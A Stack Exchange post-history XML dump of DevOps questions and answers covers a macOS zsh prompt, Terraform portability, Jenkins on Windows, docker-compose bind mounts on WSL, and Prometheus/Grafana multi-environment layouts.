  <row Id="33209" PostHistoryTypeId="2" PostId="10823" RevisionGUID="e6a4e5de-56e6-4053-a31c-1200c0ba54da" CreationDate="2020-02-16T14:46:02.197" UserId="17276" Text="I can't get it to work on my Mac (catalina version 10.15.2)&#xD;&#xA;.&#xD;&#xA;\u works on ubuntu when i test /u but not on my Mac. &#xD;&#xA;I want to customise my mac terrminal and colors work fine on my mac and it's reading the .bashrc file when I test it with setting source .bashrc.&#xD;&#xA;for example&#xD;&#xA;&#xD;&#xA;    orange=$(tput setaf 166);&#xD;&#xA;    PS1=&quot;${orange}\u&quot;&#xD;&#xA;    export PS1;&#xD;&#xA;&#xD;&#xA;Outputs my username in orange on ubuntu but on my Mac it just outputs \u in orange so for some reason \u isn't working on my Mac? Is there an alternative I could try?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33210" PostHistoryTypeId="1" PostId="10823" RevisionGUID="e6a4e5de-56e6-4053-a31c-1200c0ba54da" CreationDate="2020-02-16T14:46:02.197" UserId="17276" Text="Is \u the only way to output the user from .bashrc?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33211" PostHistoryTypeId="3" PostId="10823" RevisionGUID="e6a4e5de-56e6-4053-a31c-1200c0ba54da" CreationDate="2020-02-16T14:46:02.197" UserId="17276" Text="&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33212" PostHistoryTypeId="5" PostId="10823" RevisionGUID="e34cc9eb-2fe7-488e-8dbd-fdf7749d2fed" CreationDate="2020-02-16T16:39:06.680" UserId="17276" Comment="edited body" Text="I can't get it to work on my Mac (catalina version 10.15.2)&#xD;&#xA;.&#xD;&#xA;\u works on ubuntu when i test \u but not on my Mac. &#xD;&#xA;I want to customise my mac terrminal. Colors work fine on my Mac and it's reading the .bashrc file when I test it by source .bashrc  .&#xD;&#xA;for example with the following in .bashrc in the user home directory.&#xD;&#xA;&#xD;&#xA;    orange=$(tput setaf 166);&#xD;&#xA;    PS1=&quot;${orange}\u&quot;&#xD;&#xA;    export PS1;&#xD;&#xA;&#xD;&#xA;Outputs my username in orange on ubuntu but on my Mac it just outputs \u in orange so for some reason \u isn't working on my Mac? Is there an alternative I could try?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33213" PostHistoryTypeId="2" PostId="10824" RevisionGUID="2397c8ac-c40e-42f9-a092-0f5db7569f84" CreationDate="2020-02-16T18:39:16.317" UserId="5856" Text="With the release of macOS Catalina (10.15) Apple has switched to Zsh as default shell (instead of Bash).&#xD;&#xA;Instead of setting _PS1_ in Bash you can set _PROMPT_ in Zsh:&#xD;&#xA;`PROMPT=&quot;${orange}%n&quot;`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33214" PostHistoryTypeId="5" PostId="10823" RevisionGUID="88402909-cfde-4b62-8237-5723a6ed61df" CreationDate="2020-02-17T00:49:18.177" UserId="739" Comment="copy edit and macos tag" Text="I can't get it to work on my Mac (catalina version 10.15.2).&#xD;&#xA;`\u` works on ubuntu when I test it but not on my Mac. &#xD;&#xA;I want to customize my mac terminal. Colors work fine on my Mac and it's reading the `.bashrc` file when I test it by `source .bashrc`  .&#xD;&#xA;For example with the following in `.bashrc` in the user home directory.&#xD;&#xA;&#xD;&#xA;    orange=$(tput setaf 166);&#xD;&#xA;    PS1=&quot;${orange}\u&quot;&#xD;&#xA;    export PS1;&#xD;&#xA;&#xD;&#xA;Outputs my username in orange on ubuntu but on my Mac it just outputs `\u` in orange so for some reason `\u` isn't working on my Mac? Is there an alternative I could try?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33215" PostHistoryTypeId="6" PostId="10823" RevisionGUID="88402909-cfde-4b62-8237-5723a6ed61df" CreationDate="2020-02-17T00:49:18.177" UserId="739" Comment="copy edit and macos tag" Text="&lt;bash&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33216" PostHistoryTypeId="52" PostId="10823" RevisionGUID="304937f2-1622-4a55-9006-238d05606a2b" CreationDate="2020-02-17T01:00:33.140" />
  <row Id="33220" PostHistoryTypeId="2" PostId="10826" RevisionGUID="b4d1f2a2-ba51-48a5-8dbe-bde71d450910" CreationDate="2020-02-17T02:22:55.613" UserId="16059" Text="Are there any infrastructure automation technologies which do a better job at being portable than terraform?&#xD;&#xA;&#xD;&#xA;We heavily leverage terraform as it is a cloud-agnostic technology (vs, say, ARM templates in azure, or cloud formation in AWS).&#xD;&#xA;&#xD;&#xA;I was very depressed a year ago when we deployed an app from azure to AWS to see that a basic scale-set + load balancer basically required a complete rewrite between Azure and AWS though.  Having used ansible equivalents, the same seems to be true there. Both basically use cloud-specific extensions to create cloud resources meaning that, while you understand the tool still, any project you code has to be re-coded for deployment in a new cloud.&#xD;&#xA;&#xD;&#xA;I understand that a generic tool would  have to understand numerous differences like:&#xD;&#xA;&#xD;&#xA; - Azure uses resource groups to encapsulate all resources.&#xD;&#xA; - AWS has security groups to define network boundaries.&#xD;&#xA; - AWS load balancers require separate target groups/listeners vs Azure's  simpler backend pool concept.&#xD;&#xA; - IAM differences, and so on.&#xD;&#xA;&#xD;&#xA;I'm surprised there aren't any companies or OSS projects trying to simplify/automate the translations here with a higher level DSL or something though.  So, I'm thinking I might be missing something.&#xD;&#xA;&#xD;&#xA;Note: We are heavy kubernetes users, so I do understand that kubernetes mitigates most of these issues **once you've brought up a cluster** (and if you have ported all your apps to it)." ContentLicense="CC BY-SA 4.0" />
  <row Id="33221" PostHistoryTypeId="1" PostId="10826" RevisionGUID="b4d1f2a2-ba51-48a5-8dbe-bde71d450910" CreationDate="2020-02-17T02:22:55.613" UserId="16059" Text="Cloud agnostic infrastructure automation better than terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33222" PostHistoryTypeId="3" PostId="10826" RevisionGUID="b4d1f2a2-ba51-48a5-8dbe-bde71d450910" CreationDate="2020-02-17T02:22:55.613" UserId="16059" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;azure&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33224" PostHistoryTypeId="2" PostId="10827" RevisionGUID="056bd936-e0af-4ab1-9a43-38cf98ce598f" CreationDate="2020-02-17T06:14:37.453" UserId="19715" Text="The builds are running locally in my Windows 10 OS successfully. Can I run the same builds in Jenkins slave with Windows Server 2016? Will there be any issues during the build or should I go for Windows 10 OS for the slave setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33225" PostHistoryTypeId="1" PostId="10827" RevisionGUID="056bd936-e0af-4ab1-9a43-38cf98ce598f" CreationDate="2020-02-17T06:14:37.453" UserId="19715" Text="windows 10 vs windows server 2016 as jenkins slave" ContentLicense="CC BY-SA 4.0" />
  <row Id="33226" PostHistoryTypeId="3" PostId="10827" RevisionGUID="056bd936-e0af-4ab1-9a43-38cf98ce598f" CreationDate="2020-02-17T06:14:37.453" UserId="19715" Text="&lt;jenkins&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33228" PostHistoryTypeId="2" PostId="10828" RevisionGUID="ed711147-5eee-44a6-90b0-80b8f98ca92a" CreationDate="2020-02-17T08:45:38.503" UserId="18007" Text="I have the below pipeline:&#xD;&#xA;[![Pipeline][1]][1]&#xD;&#xA;I want that once I choose in the InstllationType the value 'Recreate', some fields will disappear. is it possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/EP5ff.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33229" PostHistoryTypeId="1" PostId="10828" RevisionGUID="ed711147-5eee-44a6-90b0-80b8f98ca92a" CreationDate="2020-02-17T08:45:38.503" UserId="18007" Text="Is it possible in Jenkins pipeline, to hide fields based on selection of other field?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33230" PostHistoryTypeId="3" PostId="10828" RevisionGUID="ed711147-5eee-44a6-90b0-80b8f98ca92a" CreationDate="2020-02-17T08:45:38.503" UserId="18007" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33231" PostHistoryTypeId="5" PostId="10828" RevisionGUID="67bc7e35-1290-42b1-81bc-e8bf71f489bf" CreationDate="2020-02-17T09:17:23.753" UserId="18007" Comment="added 41 characters in body; edited title" Text="I have the below pipeline:&#xD;&#xA;[![Pipeline][1]][1]&#xD;&#xA;I want that once I choose in the InstllationType the value 'Recreate', some fields will disappear. is it possible to do it with an active choice parameter? if not, is there any other way for doing it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/EP5ff.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33232" PostHistoryTypeId="4" PostId="10828" RevisionGUID="67bc7e35-1290-42b1-81bc-e8bf71f489bf" CreationDate="2020-02-17T09:17:23.753" UserId="18007" Comment="added 41 characters in body; edited title" Text="Does active choice reactive parameter support hide fields option?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33233" PostHistoryTypeId="2" PostId="10829" RevisionGUID="f031123a-20b4-4977-9f3d-5680c00c614f" CreationDate="2020-02-17T10:48:01.197" UserId="18848" Text="Add the following lines in `/var/lib/jenkins/config.xml` under `securityRealm` and then restart `jenkins` service to enable cache. Remove the below 4 line if you don't want to enable it.&#xD;&#xA;&#xD;&#xA;    &lt;cache&gt;&#xD;&#xA;      &lt;size&gt;20&lt;/size&gt;&#xD;&#xA;      &lt;ttl&gt;300&lt;/ttl&gt;&#xD;&#xA;    &lt;/cache&gt;&#xD;&#xA;&#xD;&#xA;Please refer the below image&#xD;&#xA;&#xD;&#xA;[![Jenkins config file snippet][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/UnULV.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33234" PostHistoryTypeId="5" PostId="10829" RevisionGUID="719f4bfa-8606-4467-a722-a85cd1547a27" CreationDate="2020-02-17T10:54:54.570" UserId="18848" Comment="added 2 characters in body" Text="Add the following lines in `/var/lib/jenkins/config.xml` under `securityRealm` and then restart `jenkins` service to enable cache. Remove the below 4 line if you don't want to enable it.&#xD;&#xA;&#xD;&#xA;    &lt;cache&gt;&#xD;&#xA;      &lt;size&gt;500&lt;/size&gt;&#xD;&#xA;      &lt;ttl&gt;3600&lt;/ttl&gt;&#xD;&#xA;    &lt;/cache&gt;&#xD;&#xA;&#xD;&#xA;Please refer the below image&#xD;&#xA;&#xD;&#xA;[![Jenkins config file snippet][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/UnULV.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33235" PostHistoryTypeId="2" PostId="10830" RevisionGUID="53fd444a-3a4d-40f0-92a9-00c401c39344" CreationDate="2020-02-17T13:50:05.847" UserId="19719" Text="I think my case may be related as I also tried to configure environment for both Windows and Linux. I only have to mention that I am using ``docker-compose`` on WSL1 (Windows Subsystem for Linux) configured following by: [this](https://nickjanetakis.com/blog/setting-up-docker-for-windows-and-wsl-to-work-flawlessly)&#xD;&#xA;&#xD;&#xA;I suggest you to try &#xD;&#xA;&#xD;&#xA;My solution is (using the: (long-syntax volumes definition)[https://docs.docker.com/compose/compose-file/#long-syntax-3] from official docs):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3.7'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  web:&#xD;&#xA;    build: ./DirectoryWithDockerfile&#xD;&#xA;    volumes:&#xD;&#xA;      - type: bind&#xD;&#xA;        source: ./DirectoryIWantToMountInDockerContainer&#xD;&#xA;        target: /path/where/mount/source&#xD;&#xA;        volume:&#xD;&#xA;          nocopy: true  # flag to disable copying of data from a container when a volume is created&#xD;&#xA;    ports:&#xD;&#xA;      - 8000:8000&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't know why short syntax doesn't worked on Windows for me (and for you):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;   volumes:  # this doesn't work and I don't know why&#xD;&#xA;     - ./DirectoryIWantToMountInDockerContainer/:/path/where/mount/source&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My Docker version: 19.03.5&#xD;&#xA;&#xD;&#xA;docker-compose version: 1.25.4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33239" PostHistoryTypeId="5" PostId="10830" RevisionGUID="86b6dfcc-cf2c-4eb4-97ed-6cfbe47332a9" CreationDate="2020-02-17T14:11:19.337" UserId="19719" Comment="edited body" Text="I think my case may be related as I also tried to configure environment for both Windows and Linux. I only have to mention that I am using ``docker-compose`` on WSL1 (Windows Subsystem for Linux) configured following by: [this](https://nickjanetakis.com/blog/setting-up-docker-for-windows-and-wsl-to-work-flawlessly)&#xD;&#xA;&#xD;&#xA;I suggest you to try &#xD;&#xA;&#xD;&#xA;My solution is (using the: [long-syntax volumes definition](https://docs.docker.com/compose/compose-file/#long-syntax-3) from official docs):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3.7'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  web:&#xD;&#xA;    build: ./DirectoryWithDockerfile&#xD;&#xA;    volumes:&#xD;&#xA;      - type: bind&#xD;&#xA;        source: ./DirectoryIWantToMountInDockerContainer&#xD;&#xA;        target: /path/where/mount/source&#xD;&#xA;        volume:&#xD;&#xA;          nocopy: true  # flag to disable copying of data from a container when a volume is created&#xD;&#xA;    ports:&#xD;&#xA;      - 8000:8000&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't know why short syntax doesn't worked on Windows for me (and for you):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;   volumes:  # this doesn't work and I don't know why&#xD;&#xA;     - ./DirectoryIWantToMountInDockerContainer/:/path/where/mount/source&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My Docker version: 19.03.5&#xD;&#xA;&#xD;&#xA;docker-compose version: 1.25.4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33240" PostHistoryTypeId="2" PostId="10832" RevisionGUID="36650326-1e85-41d2-89d8-1d246fe0df91" CreationDate="2020-02-17T14:46:36.470" UserId="19415" Text="I am just wondering. If I have many environments monitored via Prometheus, is it better to duplicate Prometheus and Grafana or only Prometheus or nothing? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From your experience, what is the most common and useful configuration?&#xD;&#xA;Feel free to propose something else. &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Solution I, Duplicate nothing**&#xD;&#xA;&#xD;&#xA;It is easy for the monitoring user because there is only one Grafana with one Datasource. However, from a security point of view, I have to open a port for each service in each environment. I will, of course, configure one reverse proxy in each environment to secure the exporters over Https and Basic authentication. &#xD;&#xA;&#xD;&#xA;    +---------+       +------------+       +- Environment A -------------+&#xD;&#xA;    | Grafana |       | Prometheus |       |     +-----------+           |&#xD;&#xA;    |         |------&gt;|            |--+--+------&gt;| Service 1 |           |&#xD;&#xA;    +---------+       +------------+  |  | |     |           |           |&#xD;&#xA;                                      |  | |     +-----------+           |&#xD;&#xA;                                      |  | |                             |&#xD;&#xA;                                      |  | |     +-----------+           |&#xD;&#xA;                                      |  +------&gt;| Service 2 |           |&#xD;&#xA;                                      |    |     |           |           |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      |    +-----------------------------+&#xD;&#xA;                                      | &#xD;&#xA;                                      |    +- Environment B -------------+&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      +---------&gt;| Service 1 |           |&#xD;&#xA;                                      |    |     |           |           |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      |    |                             |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      +---------&gt;| Service 2 |           |&#xD;&#xA;                                           |     |           |           |&#xD;&#xA;                                           |     +-----------+           |&#xD;&#xA;                                           +-----------------------------+&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Solution II, Duplicate everything**&#xD;&#xA;&#xD;&#xA;This looks like a popular solution and may have many benefits from a deployment point of view. I find it quite elegant because we can have on `docker-compose.yml` that setup everything. But while it can be interesting for security segregation, there will be many Grafana (each with one Prometheus datasource) and that may not be useful for the monitoring user.&#xD;&#xA;&#xD;&#xA;    +- Environment A ---------------------------------------------------+&#xD;&#xA;    | +---------+       +------------+                                  |&#xD;&#xA;    | | Grafana |       | Prometheus |                                  |&#xD;&#xA;    | |         |------&gt;|            |                                  |&#xD;&#xA;    | +---------+       +------------+    +-----------+                 |&#xD;&#xA;    |                             |       | Service 1 |                 |&#xD;&#xA;    |                             +------&gt;|           |                 |&#xD;&#xA;    |                             |       +-----------+                 |&#xD;&#xA;    |                             |                                     |&#xD;&#xA;    |                             |       +-----------+                 |&#xD;&#xA;    |                             |       | Service 2 |                 |&#xD;&#xA;    |                             +------&gt;|           |                 |&#xD;&#xA;    |                                     +-----------+                 |&#xD;&#xA;    +-------------------------------------------------------------------+&#xD;&#xA;&#xD;&#xA;**Solution III, Duplicate Prometheus**&#xD;&#xA;&#xD;&#xA;This is almost the same as **Solution II** except that I keep one Grafana with many Prometheus data sources. This looks neat too but I still have to secure my Prometheus instance behind a reverse proxy.&#xD;&#xA;&#xD;&#xA;I am also thinking to create a **Solution III Bis** with the use of a kind of proxy or push-exporter in place of _Prometheus_ in each environment.  &#xD;&#xA; + The usage of a proxy does not bring much value except having only one data source in Grafana. &#xD;&#xA; + The usage of a push-exporter may remove the external entry point in each environment however I do not know how I will be &quot;informed&quot; when one environment is down (since it will not push anything).&#xD;&#xA;&#xD;&#xA;                     +- Environment A ----------------------------------+&#xD;&#xA;     +---------+     | +------------+                                   |&#xD;&#xA;     | Grafana |     | | Prometheus |                                   |&#xD;&#xA;     |         |-+----&gt;|            |                                   |&#xD;&#xA;     +---------+ |   | +------------+    +-----------+                  |&#xD;&#xA;                 |   |           |       | Service 1 |                  |&#xD;&#xA;                 |   |           +------&gt;|           |                  |&#xD;&#xA;                 |   |           |       +-----------+                  |&#xD;&#xA;                 |   |           |                                      |&#xD;&#xA;                 |   |           |       +-----------+                  |&#xD;&#xA;                 |   |           |       | Service 2 |                  |&#xD;&#xA;                 |   |           +------&gt;|           |                  |&#xD;&#xA;                 |   |                   +-----------+                  |&#xD;&#xA;                 |   +--------------------------------------------------+&#xD;&#xA;                 |&#xD;&#xA;                 |   +- Environment B ----------------------------------+&#xD;&#xA;                 |   | +------------+                                   |&#xD;&#xA;                 |   | | Prometheus |                                   |&#xD;&#xA;                 +----&gt;|            |                                   |&#xD;&#xA;                     | +------------+    +-----------+                  |&#xD;&#xA;                     |           |       | Service 1 |                  |&#xD;&#xA;                     |           +------&gt;|           |                  |&#xD;&#xA;                     |           |       +-----------+                  |&#xD;&#xA;                     |           |                                      |&#xD;&#xA;                     |           |       +-----------+                  |&#xD;&#xA;                     |           |       | Service 2 |                  |&#xD;&#xA;                     |           +------&gt;|           |                  |&#xD;&#xA;                     |                   +-----------+                  |&#xD;&#xA;                     +--------------------------------------------------+&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33241" PostHistoryTypeId="1" PostId="10832" RevisionGUID="36650326-1e85-41d2-89d8-1d246fe0df91" CreationDate="2020-02-17T14:46:36.470" UserId="19415" Text="What is the Prometheus and Grafana ideal setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33242" PostHistoryTypeId="3" PostId="10832" RevisionGUID="36650326-1e85-41d2-89d8-1d246fe0df91" CreationDate="2020-02-17T14:46:36.470" UserId="19415" Text="&lt;security&gt;&lt;monitoring&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33243" PostHistoryTypeId="5" PostId="10832" RevisionGUID="37a0e133-27f9-45b3-9250-da75127eea28" CreationDate="2020-02-17T14:53:20.810" UserId="19415" Comment="added 153 characters in body" Text="I am just wondering. If I have many environments monitored via Prometheus,  what will be the best configuration? &#xD;&#xA;The _security_ and _efficiency_ are already important for on-premise installations but they are much more important and unavoidable when deployed on a cloud provider.&#xD;&#xA;&#xD;&#xA;From your experience, what is the most common and useful configuration?&#xD;&#xA;I see three main scenarios feel free to propose something else. &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Solution I, Duplicate nothing**&#xD;&#xA;&#xD;&#xA;It is easy for the monitoring user because there is only one Grafana with one Datasource. However, from a security point of view, I have to open a port for each service in each environment. I will, of course, configure one reverse proxy in each environment to secure the exporters over Https and Basic authentication. &#xD;&#xA;&#xD;&#xA;    +---------+       +------------+       +- Environment A -------------+&#xD;&#xA;    | Grafana |       | Prometheus |       |     +-----------+           |&#xD;&#xA;    |         |------&gt;|            |--+--+------&gt;| Service 1 |           |&#xD;&#xA;    +---------+       +------------+  |  | |     |           |           |&#xD;&#xA;                                      |  | |     +-----------+           |&#xD;&#xA;                                      |  | |                             |&#xD;&#xA;                                      |  | |     +-----------+           |&#xD;&#xA;                                      |  +------&gt;| Service 2 |           |&#xD;&#xA;                                      |    |     |           |           |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      |    +-----------------------------+&#xD;&#xA;                                      | &#xD;&#xA;                                      |    +- Environment B -------------+&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      +---------&gt;| Service 1 |           |&#xD;&#xA;                                      |    |     |           |           |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      |    |                             |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      +---------&gt;| Service 2 |           |&#xD;&#xA;                                           |     |           |           |&#xD;&#xA;                                           |     +-----------+           |&#xD;&#xA;                                           +-----------------------------+&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Solution II, Duplicate everything**&#xD;&#xA;&#xD;&#xA;This looks like a popular solution and may have many benefits from a deployment point of view. I find it quite elegant because we can have on `docker-compose.yml` that set up everything. But while it can be interesting for security segregation, there will be many Grafana (each with one Prometheus data source) and that may not be useful for the monitoring user.&#xD;&#xA;&#xD;&#xA;    +- Environment A ---------------------------------------------------+&#xD;&#xA;    | +---------+       +------------+                                  |&#xD;&#xA;    | | Grafana |       | Prometheus |                                  |&#xD;&#xA;    | |         |------&gt;|            |                                  |&#xD;&#xA;    | +---------+       +------------+    +-----------+                 |&#xD;&#xA;    |                             |       | Service 1 |                 |&#xD;&#xA;    |                             +------&gt;|           |                 |&#xD;&#xA;    |                             |       +-----------+                 |&#xD;&#xA;    |                             |                                     |&#xD;&#xA;    |                             |       +-----------+                 |&#xD;&#xA;    |                             |       | Service 2 |                 |&#xD;&#xA;    |                             +------&gt;|           |                 |&#xD;&#xA;    |                                     +-----------+                 |&#xD;&#xA;    +-------------------------------------------------------------------+&#xD;&#xA;&#xD;&#xA;**Solution III, Duplicate Prometheus**&#xD;&#xA;&#xD;&#xA;This is almost the same as **Solution II** except that I keep one Grafana with many Prometheus data sources. This looks neat too but I still have to secure my Prometheus instance behind a reverse proxy.&#xD;&#xA;&#xD;&#xA;I am also thinking to create a **Solution III Bis** with the use of a kind of proxy or push-exporter in place of _Prometheus_ in each environment.  &#xD;&#xA; + The usage of a proxy does not bring much value except having only one data source in Grafana. &#xD;&#xA; + The usage of a push-exporter may remove the external entry point in each environment however I do not know how I will be &quot;informed&quot; when one environment is down (since it will not push anything).&#xD;&#xA;&#xD;&#xA;                     +- Environment A ----------------------------------+&#xD;&#xA;     +---------+     | +------------+                                   |&#xD;&#xA;     | Grafana |     | | Prometheus |                                   |&#xD;&#xA;     |         |-+----&gt;|            |                                   |&#xD;&#xA;     +---------+ |   | +------------+    +-----------+                  |&#xD;&#xA;                 |   |           |       | Service 1 |                  |&#xD;&#xA;                 |   |           +------&gt;|           |                  |&#xD;&#xA;                 |   |           |       +-----------+                  |&#xD;&#xA;                 |   |           |                                      |&#xD;&#xA;                 |   |           |       +-----------+                  |&#xD;&#xA;                 |   |           |       | Service 2 |                  |&#xD;&#xA;                 |   |           +------&gt;|           |                  |&#xD;&#xA;                 |   |                   +-----------+                  |&#xD;&#xA;                 |   +--------------------------------------------------+&#xD;&#xA;                 |&#xD;&#xA;                 |   +- Environment B ----------------------------------+&#xD;&#xA;                 |   | +------------+                                   |&#xD;&#xA;                 |   | | Prometheus |                                   |&#xD;&#xA;                 +----&gt;|            |                                   |&#xD;&#xA;                     | +------------+    +-----------+                  |&#xD;&#xA;                     |           |       | Service 1 |                  |&#xD;&#xA;                     |           +------&gt;|           |                  |&#xD;&#xA;                     |           |       +-----------+                  |&#xD;&#xA;                     |           |                                      |&#xD;&#xA;                     |           |       +-----------+                  |&#xD;&#xA;                     |           |       | Service 2 |                  |&#xD;&#xA;                     |           +------&gt;|           |                  |&#xD;&#xA;                     |                   +-----------+                  |&#xD;&#xA;                     +--------------------------------------------------+&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33244" PostHistoryTypeId="5" PostId="10832" RevisionGUID="7a7585e9-646c-4443-bd5b-3022aa9c5b58" CreationDate="2020-02-17T15:04:36.530" UserId="19415" Comment="added 16 characters in body" Text="I am just wondering. If I have many environments monitored via Prometheus,  what will be the best configuration? &#xD;&#xA;The _security_ and _efficiency_ are already important for on-premise installations but they are much more important and unavoidable when deployed on a cloud provider.&#xD;&#xA;&#xD;&#xA;From your experience, what is the most common and useful configuration?&#xD;&#xA;I see three main scenarios feel free to propose something else. &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Solution I, Duplicate nothing**&#xD;&#xA;&#xD;&#xA;It is easy for the monitoring user because there is only one Grafana with one Datasource. However, from a security point of view, I have to open a port for each service in each environment. I will, of course, configure one reverse proxy in each environment to secure the exporters over Https and Basic authentication. &#xD;&#xA;&#xD;&#xA;    +---------+       +------------+       +- Environment A -------------+&#xD;&#xA;    | Grafana |       | Prometheus |       |     +-----------+           |&#xD;&#xA;    |         |------&gt;|            |--+--+------&gt;| Service 1 |           |&#xD;&#xA;    +---------+       +------------+  |  | |     |           |           |&#xD;&#xA;                                      |  | |     +-----------+           |&#xD;&#xA;                                      |  | |                             |&#xD;&#xA;                                      |  | |     +-----------+           |&#xD;&#xA;                                      |  +------&gt;| Service 2 |           |&#xD;&#xA;                                      |    |     |           |           |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      |    +-----------------------------+&#xD;&#xA;                                      | &#xD;&#xA;                                      |    +- Environment B -------------+&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      +---------&gt;| Service 1 |           |&#xD;&#xA;                                      |    |     |           |           |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      |    |                             |&#xD;&#xA;                                      |    |     +-----------+           |&#xD;&#xA;                                      +---------&gt;| Service 2 |           |&#xD;&#xA;                                           |     |           |           |&#xD;&#xA;                                           |     +-----------+           |&#xD;&#xA;                                           +-----------------------------+&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Solution II, Duplicate everything**&#xD;&#xA;&#xD;&#xA;This looks like a popular solution and may have many benefits from a deployment point of view. I find it quite elegant because we can have on `docker-compose.yml` that set up everything. But while it can be interesting for security segregation, there will be many Grafana (each with one Prometheus data source) and that may not be useful for the monitoring user.&#xD;&#xA;&#xD;&#xA;    +- Environment A ---------------------------------------------------+&#xD;&#xA;    | +---------+       +------------+                                  |&#xD;&#xA;    | | Grafana |       | Prometheus |                                  |&#xD;&#xA;    | |         |------&gt;|            |                                  |&#xD;&#xA;    | +---------+       +------------+    +-----------+                 |&#xD;&#xA;    |                             |       | Service 1 |                 |&#xD;&#xA;    |                             +------&gt;|           |                 |&#xD;&#xA;    |                             |       +-----------+                 |&#xD;&#xA;    |                             |                                     |&#xD;&#xA;    |                             |       +-----------+                 |&#xD;&#xA;    |                             |       | Service 2 |                 |&#xD;&#xA;    |                             +------&gt;|           |                 |&#xD;&#xA;    |                                     +-----------+                 |&#xD;&#xA;    +-------------------------------------------------------------------+&#xD;&#xA;&#xD;&#xA;**Solution III, Duplicate Prometheus**&#xD;&#xA;&#xD;&#xA;This is almost the same as **Solution II** except that I keep one Grafana with many Prometheus data sources. This looks neat too but I still have to secure my Prometheus instance behind a reverse proxy.&#xD;&#xA;&#xD;&#xA;I am also thinking to create a **Solution III Bis** with the use of a kind of proxy or push-exporter in place of _Prometheus_ in each environment. &#xD;&#xA; &#xD;&#xA; **a)** The usage of a proxy does not bring much value except having only one data source in Grafana. &#xD;&#xA;&#xD;&#xA; **b)** The usage of a push-exporter may remove the external entry point in each environment however I do not know how I will be &quot;informed&quot; when one environment is down (since it will not push anything).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                     +- Environment A ----------------------------------+&#xD;&#xA;     +---------+     | +------------+                                   |&#xD;&#xA;     | Grafana |     | | Prometheus |                                   |&#xD;&#xA;     |         |-+----&gt;|            |                                   |&#xD;&#xA;     +---------+ |   | +------------+    +-----------+                  |&#xD;&#xA;                 |   |           |       | Service 1 |                  |&#xD;&#xA;                 |   |           +------&gt;|           |                  |&#xD;&#xA;                 |   |           |       +-----------+                  |&#xD;&#xA;                 |   |           |                                      |&#xD;&#xA;                 |   |           |       +-----------+                  |&#xD;&#xA;                 |   |           |       | Service 2 |                  |&#xD;&#xA;                 |   |           +------&gt;|           |                  |&#xD;&#xA;                 |   |                   +-----------+                  |&#xD;&#xA;                 |   +--------------------------------------------------+&#xD;&#xA;                 |&#xD;&#xA;                 |   +- Environment B ----------------------------------+&#xD;&#xA;                 |   | +------------+                                   |&#xD;&#xA;                 |   | | Prometheus |                                   |&#xD;&#xA;                 +----&gt;|            |                                   |&#xD;&#xA;                     | +------------+ 